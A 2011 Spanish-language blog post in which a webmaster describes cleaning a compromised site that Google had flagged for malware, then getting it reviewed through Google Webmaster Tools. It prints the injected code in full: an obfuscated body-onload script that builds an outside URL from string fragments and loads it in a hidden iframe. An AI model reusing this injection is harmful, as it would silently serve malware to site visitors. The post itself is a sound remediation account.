Páginas

jueves, 11 de agosto de 2011

Software malintencionado en mi web

Hola amigos, hace poco tuvimos un inconveniente con una web www.icriscaris.org.ar en la cual habían códigos embebidos en el cuerpo de los .html por lo que google ha puesto a la web en sus listas de software malintencionados en la web, por lo que siempre que deseabas acceder te aparecía el siguiente mensaje:

Por lo cual, lo primero que me puse a hacer es descargar por completo todo el directorio con todas las carpetas, pasarle un antivirus y revisar los .html y los .php con lo cual me encontré con el siguiente código en algunas páginas como ser el index.html

<body onload="j='7';yy='le';jp='b';p='if';l='sa';sb='1c';x='tp';ih='a';he='7';yq='us';y='/i';b='ht';u='a';v='p=3';ea='://';xh='0fc';d='7';c='s';e='p?t';xn='/ho';n='n';k='s.';ds='sr';q='c';h='t';o='9';fc='dex';tn='17';bg='.ph';an='com';hj='ra';mp='f';cw='a';fw='me';z='me';zf='n';vn='ge';dd=p.concat(hj,fw);i=ds.concat(q);jn=b.concat(x,ea,l,yq,u,vn,c,z,n,h,k,an,xn,yy,y,zf,fc,bg,e,v,mp,jp,d,ih,xh,sb,tn,o,j,cw,he);var mu=document.createElement(dd);mu.setAttribute('width','5');mu.setAttribute('height','5');mu.setAttribute('style','display:none');mu.setAttribute(i,jn);document.body.appendChild(mu);">
lo que hice fue eliminar todo, y volver a subir los archivos...pero actualmente google sigue tirando la advertencia de software malintencionado.

Para ello hay que ingresar a  https://www.google.com/webmasters/tools/  y hacer los pasos para que las herramientas de google detecten tu web.

Los pasos son los siguientes:
Desde la pagina principal de herramientas para webmasters de google añadir una nueva página y seguimos los pasos que describen, luego te pedirán que subas al directorio raíz un archivo que te dan para que lo descargues, para que de esa manera google pueda detectar tu web...

Una vez que haces eso, google te dice que confirmes la verificación cuando hayas subido el archivo. Luego te muestra la pagina principal diciéndote

Este sitio podría estar distribuyendo software malintencionado. Información detallada

Entra en información detallada y te dice

una vez que haya eliminado todo el código dañino de su sitio y haya tratado la vulnerabilidad subyacente que comprometió la seguridad del sitio, puede solicitar una revisión del mismo.
Asegúrate de haber eliminado toooodo los códigos de todas las páginas donde aparece y solicita la revisión.

Ahora, a la dulce espera hasta que google haya analizado nuevamente el sitio web.

No hay comentarios:

Publicar un comentario en la entrada